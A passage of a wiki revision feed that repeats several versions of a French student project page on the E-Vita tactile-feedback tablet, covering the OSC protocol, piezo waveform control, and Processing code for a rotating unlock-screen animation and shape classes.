Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38033</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38033"/>
				<updated>2017-01-27T16:31:04Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à outils */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37776</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37776"/>
				<updated>2017-01-23T20:31:00Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à outils */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
